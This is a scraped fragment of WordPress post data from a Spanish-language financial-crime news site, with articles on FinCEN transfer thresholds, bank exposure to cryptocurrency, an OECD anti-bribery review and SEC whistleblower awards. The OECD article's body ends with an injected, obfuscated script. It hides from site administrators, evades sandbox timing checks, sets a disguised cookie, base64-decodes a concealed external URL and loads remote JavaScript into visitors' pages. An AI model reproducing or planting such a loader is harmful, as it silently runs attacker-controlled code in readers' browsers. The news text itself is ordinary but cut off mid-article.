propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Pero tambi\u00e9n recuerde que puede ser un gran atributo ser autosuficiente cuando se trata de problemas de software. Eso puede incluir algo tan simple como comprender c\u00f3mo desbloquear su PC o volver a conectarse a su wi-fi, sin tener que realizar una llamada a su chico o chica de \"sistemas\".<\/p>\n\n\n\n<p><strong>No se quede atascado en la investigaci\u00f3n<\/strong><\/p>\n\n\n\n<p>Si bien los oradores acordaron en general que estas nuevas tecnolog\u00edas ayudar\u00e1n a descubrir y combatir mejor a los estafadores, lavadores y otros oligarcas corruptos y sus testaferros, nunca reemplazar\u00e1n la necesidad de un profesional de carne y hueso para la toma de decisiones.<\/p>\n\n\n\n<p>Dondequiera que se encuentre en el campo ALD\/CFT, sea cual sea su rol, para ascender necesita aprender m\u00e1s y nunca dejar de aprender. Algunas veces estos aprendizajes se expanden a los mundos virtuales. <\/p>\n\n\n\n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una indemnizaci\u00f3n por un total de entre el 10% y el 30% de las multas impuestas en las acciones de ejecuci\u00f3n civil de la SEC que resultan de su denuncia, asumiendo que las multas suman m\u00e1s de US$ 1 millones. La SEC ha otorgado recompensas por alrededor de US$ 720 millones a 113 personas desde que comenz\u00f3 el programa.<\/p>\n","post_title":"El programa de denuncia de irregularidades de la SEC establece nuevos r\u00e9cords en 2020","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-programa-de-denuncia-de-irregularidades-de-la-sec-establece-nuevos-records-en-2020","to_ping":"","pinged":"","post_modified":"2020-11-24 11:33:32","post_modified_gmt":"2020-11-24 15:33:32","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25406","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25351,"post_author":"16","post_date":"2020-11-16 18:10:31","post_date_gmt":"2020-11-16 22:10:31","post_content":"<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The European Union, after the approval of the member states, will advance in the creation of a financial crime compliance sentinel for the entire bloc that will directly supervise the regulators and financial institutions of the countries.\u00a0<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The agreement in the EU Council will lay the groundwork for more formal legal edicts that are expected to come into effect early next year.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The deal will be a widely watched initiative by global watchdog groups and associated world powers in the wake of the shameful banking scandals in the Baltic and Nordic countries.<\/span><\/span><\/b>\n\n<b><span style=\"vertical-align: inherit;\"><span style=\"vertical-align: inherit;\">The Council of Europe also 